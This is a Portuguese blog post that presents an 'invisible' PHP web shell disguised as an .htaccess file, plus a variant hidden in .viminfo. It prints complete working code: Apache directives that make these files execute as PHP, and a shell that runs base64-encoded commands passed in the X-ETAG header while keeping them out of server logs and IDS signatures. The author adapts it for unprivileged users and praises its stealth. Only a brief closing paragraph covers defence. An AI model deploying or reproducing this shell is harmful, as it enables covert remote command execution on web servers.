Web Shell Invisível - Será?
por
em 12-12-2012 às 14:20 (5937 Visualizações)
Esses dias acabei trombando com um post de uma idéia MUITO interessante, criar uma webshell 'invisível'. Achei a idéia e os recursos utilizados geniais, porém existem alguns pontos importantes que devem ser levados em conta.
Antes de falar sobre estes pontos deixe me resumir como funciona esta idéia.
Você faz o upload da shell disfarçada de .htaccess que tem 3 propósitos.
Primeiramente ser um arquivo oculto - .htaccess
Alterar alguns parâmetros do próprio PHP:
Isto faz com que o arquivo .htaccess seja interpretado como um script php e que ative a opção output_buffering necessária para utilizar a ETAGCódigo :AddType application/x-httpd-php .htaccess php_value output_buffering 1
Esconder a real requisição dos logs do apache (Feito pelo Rewrite do código).
Isto faz com que qualquer requisição feita ao diretório onde o .htaccess se encontre e contenha a ETAG no header, seja redirecionada para o arquivo .htaccess (onde se encontra o código da shell).Código :RewriteEngine on RewriteCond %{HTTP:X-ETAG} !^$ RewriteRule .* .htaccess [L]
Por último mas não menos importante é o próprio código da shell:
Código :# SHELL <?php ob_clean(); $e = str_replace('y','e','yxyc'); $e(base64_decode(substr($_SERVER['HTTP_X_ETAG'],2))." 2>&1", $o); header("X-ETAG: AA".base64_encode(implode("\r\n ", $o))); print str_repeat("A", 9326); ob_flush(); exit(); ?>
Esse código php chama a função exec, que por sua vez executa diretamente no SO da máquina o código passado pelo cabeçalho ETAG.
Toda comunicação entre o client perl e a shell php é encodada pela função base64_encode, com isso um IPS baseado em assinatura não detecta o real conteúdo executado na máquina, e caso ele seja capaz de decodar o conteúdo ainda existe mais uma jogada interessante.
Toda troca de tráfego entre o cliente e a shell é encodada, e depois de encodada e adicionada a string "AA":
Resposta enviada pelo .htaccess
Código :header("X-ETAG: AA".base64_encode(implode("\r\n ", $o)));
Comando a ser executado pelo .htaccess, vejam o substr, ele remove os 2 primeiros caracteres que é a string "AA" adicionada propositalmente.
Código :$e(base64_decode(substr($_SERVER['HTTP_X_ETAG'],2))." 2>&1", $o);
Com isso a string total não seria compreendida pelo IDS. Ótimo meio de passar pelo IDS não acham?
Agora vamos aos pontos importantes ao serem considerados sobre esta shell.
1) Alterar configuração do Apache
É preciso ter acesso privilegiado ao sistema para poder alterar a opção do AllowOverride, deixando assim:
Código :<Directory /var/www/> Options Indexes FollowSymLinks MultiViews AllowOverride All Order allow,deny allow from all </Directory>
2) Uso inválido do .htaccess
A shell contém o seguinte trecho de código:
Código :<files ~="" "^\.ht"=""> Order allow,deny Allow from all </files>
Este trecho de código dentro do .htaccess vai gerar um erro, pelo menos na maioria das configurações padrão do Apache:
Código :[Wed Dec 12 10:18:41 2012] [alert] [client 127.0.0.1] /var/www/.htaccess: Multiple <Files> arguments not (yet) supported.
Você pode retirar este código de dentro do .htaccess e fazer direto na configuração do virtualhost. Se você tem acesso para mudar o AllowOverride também poderá fazer esta modificação.
Mas isto quer dizer que ela é inútil?
Longe disso! A idéia é excelente. Mas o que fazer se você não tiver acesso administrativo para fazer todas essas modificações necessárias, mas apenas um usuário comum?
Basta algumas pequenas modificações:
1) Seu .htaccess deve ficar assim:
.viminfo ? Sim! .viminfo é um arquivo que continua oculto e pode ser acessado via browser diretamente sem ter que alterar nada na configuração do apache para isso.Código :AddType application/x-httpd-php .viminfo php_value output_buffering 1 RewriteEngine on RewriteCond %{HTTP:X-ETAG} !^$ RewriteRule .* .viminfo [L]
2) O arquivo .viminfo:
Código :<?php ob_clean(); $e = str_replace('y','e','yxyc'); $e(base64_decode(substr($_SERVER['HTTP_X_ETAG'],2))." 2>&1", $o); header("X-ETAG: AA".base64_encode(implode("\r\n ", $o))); print str_repeat("A", 9326); ob_flush(); exit(); ?>
Pronto! Agora é possível ter uma webshell funcionando sem precisar de acesso privilegiado ao sistema.
Agora vejamos como fica a rastreabilidade disso analisando os logs do servidor:
Como podemos ver na imagem acima a única coisa que aparece no log e pode chamar a atenção de quem tiver o olho mais atento a este tipo de coisa é o tamanho a requisição, mas os comandos executados estão totalmente escondidos, nada daqueles lixos de shell.php?cmd=ls, shell.php=wget xxx.com/a.php,etc.
Existe a possibilidade de se registrar os cabeçalhos em log? Sim, será necessário ativar alguns módulos no apache mas é totalmente possível.
Como se defender disso?
É bem simples, desabilite funções perigosas, como exec,system,passthru,shell_exec,etc. Mantenha o servidor atualizado, verifique as permissões dos arquivos,etc. Quem sabe em um outro artigo eu aprofunde o assunto.
Comentários
+ Enviar Comentário